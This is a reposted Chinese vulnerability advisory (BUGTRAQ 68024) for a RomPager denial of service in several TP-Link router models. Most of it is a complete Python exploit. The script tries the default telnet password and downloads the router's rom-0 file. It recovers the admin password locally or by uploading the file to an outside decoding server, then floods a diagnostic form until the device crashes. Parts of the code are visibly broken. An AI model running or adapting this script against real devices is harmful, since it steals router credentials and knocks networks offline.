Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / 多个TP-Link路由器RomPager拒绝服务漏洞

发布日期:2014-06-10
更新日期:2014-06-17受影响系统:
TP-LINK TD-8817 3.11.2.175_TC3086
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68024
 
TP-Link是知名的网络与通信设备供应商。
 
TP-Link TD-W8901G, TD-W8101G, TD-8840G, TD-8817固件版本3.11.2.175_TC3086、T14.F7_5.0存在远程拒绝服务漏洞,攻击者可利用此漏洞造成受影响设备崩溃。
 
<*来源:Osanda Malith
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
import os
 import re
 import sys
 import time
 import urllib
 import base64
 import httplib
 import urllib2
 import requests
 import optparse
 import telnetlib
 import subprocess
 import collections
 import unicodedata class BitReader:
 
   def __init__(self, bytes):
       self._bits = collections.deque()
       
       for byte in bytes:
           byte = ord(byte)
           for n in xrange(8):
               self._bits.append(bool((byte >> (7-n)) & 1))
           
   def getBit(self):
       return self._bits.popleft()
       
   def getBits(self, num):
       res = 0
       for i in xrange(num):
           res += self.getBit() << num-1-i
       return res
       
   def getByte(self):
       return self.getBits(8)
       
   def __len__(self):
       return len(self._bits)
       
 class RingList:
 
   def __init__(self, length):
       self.__data__ = collections.deque()
       self.__full__ = False
       self.__max__ = length   def append(self, x):
       if self.__full__:
           self.__data__.popleft()
       self.__data__.append(x)
       if self.size() == self.__max__:
           self.__full__ = True   def get(self):
       return self.__data__   def size(self):
       return len(self.__data__)   def maxsize(self):
       return self.__max__
       
   def __getitem__(self, n):
       if n >= self.size():
           return None
       return self.__data__[n]
 
def filter_non_printable(str):
 return "".join([c for c in str if ord(c) > 31 or ord(c) == 9])
 def banner():
 return """
 
    _/_/_/                _/_/_/ 
 _/    _/    _/_/    _/         
    _/    _/  _/    _/    _/_/     
_/    _/  _/    _/        _/     
  _/_/_/      _/_/    _/_/_/       
                         
"""                         
 def dos(host, password):
 while (1):
   url = "http://" +host+ "/Forms/tools_test_1"
   parameters = {
   "Test_PVC"      :  "PVC0",
    "PingIPAddr"    :  "101"*2000,
   "pingflag"      :  "1",
   "trace_open_flag"  :  "0",
   "InfoDisplay"    :  "+-+Info+-%0D%0A"
   }
   
   params = urllib.urlencode(parameters)
   
   req = urllib2.Request(url, params)
    base64string = base64.encodestring("%s:%s" % ("admin", password)).replace(" ", "")
   req.add_header("Authorization", "Basic %s" %base64string)
   req.add_header("Content-type", "application/x-www-form-urlencoded")
   req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
   try:
       print "[~] Sending Payload" 
       response = urllib2.urlopen(req, timeout=1)
       sys.exit(0)
     
   except:
     flag = checkHost(host)
     if flag == 0:
       print "[+] The host is still up and running"
     else:
       print "[~] Success! The host is down"
       sys.exit(0)
       break
 
def checkHost(host):
 if sys.platform == "win32":
   c = "ping -n 2 " + host
 else:
   c = "ping -c 2 " + host
 
  try:
   x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
   time.sleep(1)
   return x
   
 except:
   pass
 
def checkServer(host):
 connexion = httplib.HTTPConnection(host)
 connexion.request("GET", "/status.html")
 response = connexion.getresponse()
 server = response.getheader("server")
 connexion.close()
 time.sleep(2)
 if server == "RomPager/4.07 UPnP/1.0":
   return 0
 else:
   return 1
 
def checkPassword(host):
 print "[+] Checking for default password"
 defaultpass = "admin"
 tn = telnetlib.Telnet(host, 23, 4)
 tn.read_until("Password: ")
 tn.write(defaultpass + " ")
 time.sleep(2)
 banner = tn.read_eager()
 banner = regex(len(defaultpass)*r"."+"w+" , banner)
 tn.write("exit ")
 tn.close()
 time.sleep(4)
 if banner == "Copyright":
   print "[+] Default password is being used"
   dos(host, defaultpass)
 else:
   print "[!] Default Password is not being used"
 while True:
   msg = str(raw_input("[?] Decrypt the rom-0 file locally? ")).lower()
   try:
     if msg[0] == "y":
       password = decodePasswordLocal(host)
       print "[*] Router password is: " +password
       dos(host, password)
       break             
     if msg[0] == "n":
       password = decodePasswordRemote(host)
       print "[*] Router password is: " +password
       dos(host, password)
       break
     else:
       print "[!] Enter a valid choice"
   except Exception, e:
       print e
       continue
   
 
def decodePasswordRemote(host):
 fname = "rom-0"
 if os.path.isfile(fname) == True:
   os.remove(fname)
 urllib.urlretrieve ("http://"+host+"/rom-0", fname)
 # If this URL goes down you might have to find one and change this function.
  # You can also use the local decoder. It might have few errors in getting output.
 url = "http://198.61.167.113/zynos/decoded.php"                # Target URL
 files = {"uploadedfile": open("rom-0", "rb") }               # The rom-0 file we wanna upload
 data = {"MAX_FILE_SIZE": 1000000, "submit": "Upload rom-0"}    # Additional Parameters we need to include
 headers = { "User-agent" : "Python Demo Agent v1" }            # Any additional Headers you want to send or include
 
  res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
 res1 =res.content
 p = re.search("rows=10>(.*)", res1)
 if p:
   passwd = found = p.group(1)
 else:
   password = "NotFound"
 return passwd
 
def decodePasswordLocal(host):
 # Sometimes this might output a wrong password while finding the exact string.
  # print the result as mentioned below and manually find out
 fname = "rom-0"
 if os.path.isfile(fname) == True:
   os.remove(fname)
 urllib.urlretrieve ("http://"+host+"/rom-0", fname)
 fpos=8568
 fend=8788
 fhandle=file("rom-0")
 fhandle.seek(fpos)
 chunk="*"
 amount=221
 while fpos < fend:
     if fend-fpos < amount:
         amount = amount
         data = fhandle.read(amount)
         fpos += len(data)
         
 reader = BitReader(data)
 result = ""
     
  window = RingList(2048)
     
 while True:
     bit = reader.getBit()
     if not bit:
         char = reader.getByte()
         result += chr(char)
         window.append(char)
     else:
         bit = reader.getBit()
         if bit:
             offset = reader.getBits(7)
             if offset == 0:
                 break
         else:
             offset = reader.getBits(11)
         
         lenField = reader.getBits(2)
         if lenField < 3:
             lenght = lenField + 2
         else:
             lenField <<= 2
             lenField += reader.getBits(2)
             if lenField < 15:
                 lenght = (lenField & 0x0f) + 5
             else:
                 lenCounter = 0
                 lenField = reader.getBits(4)
                 while lenField == 15:
                     lenField = reader.getBits(4)
                     lenCounter += 1
                 lenght = 15*lenCounter + 8 + lenField
         
         for i in xrange(lenght):
             char = window[-offset]
             result += chr(char)
             window.append(char)
 
  result = filter_non_printable(result).decode("unicode_escape").encode("ascii","ignore")
 # In case the password you see is wrong while filtering, manually print it from here and findout.
  #print result
  if "TP-LINK" in result:
     result = "".join(result.split()).split("TP-LINK", 1)[0] + "TP-LINK";
     result = result.replace("TP-LINK", "")
     result = result[1:]
 
  if "ZTE" in result:
     result = "".join(result.split()).split("ZTE", 1)[0] + "ZTE";
     result = result.replace("ZTE", "")
     result = result[1:]
 
  if "tc160" in result:
     result = "".join(result.split()).split("tc160", 1)[0] + "tc160";
     result = result.replace("tc160", "")
     result = result[1:]
 return result
 
 def regex(path, text):
 match = re.search(path, text)
 if match:
   return match.group()
 else:
   return None
 
def main():
 if sys.platform == "win32":
   os.system("cls")
 else:
   os.system("clear")
 try:
   print banner()
   print """
 |=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|
 [*] Author: Osanda Malith Jayathissa
 [*] Follow @OsandaMalith
 [!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
 [!] Author takes no responsibility for any kind of damage you cause.
 
  """
   parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
   parser.add_option("-i", dest="host",
              type="string", 
             help="Specify the IP to attack")
   (options, args) = parser.parse_args()
   
   if options.host is None:
     parser.print_help()
     exit(-1)
 
    host = options.host
   x = checkHost(host)
 
    if x == 0:
     print "[+] The host is up and running"
     server = checkServer(host)
     if server == 0:
       checkPassword(host)
     else:
       print ("[!] Sorry the router is not running RomPager")
   else:
     print "[!] The host is not up and running"
     sys.exit(0)
 
  except KeyboardInterrupt:
   print "[!] Ctrl + C detected [!] Exiting"
   sys.exit(0)
 except EOFError:
   print "[!] Ctrl + D detected [!] Exiting"
   sys.exit(0)
 
if __name__ == "__main__":
    main() 
 #EOF建议:
--------------------------------------------------------------------------------
厂商补丁:
 
TP-LINK
 -------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.tp-link.com/lk/products/details/?model=TD-8817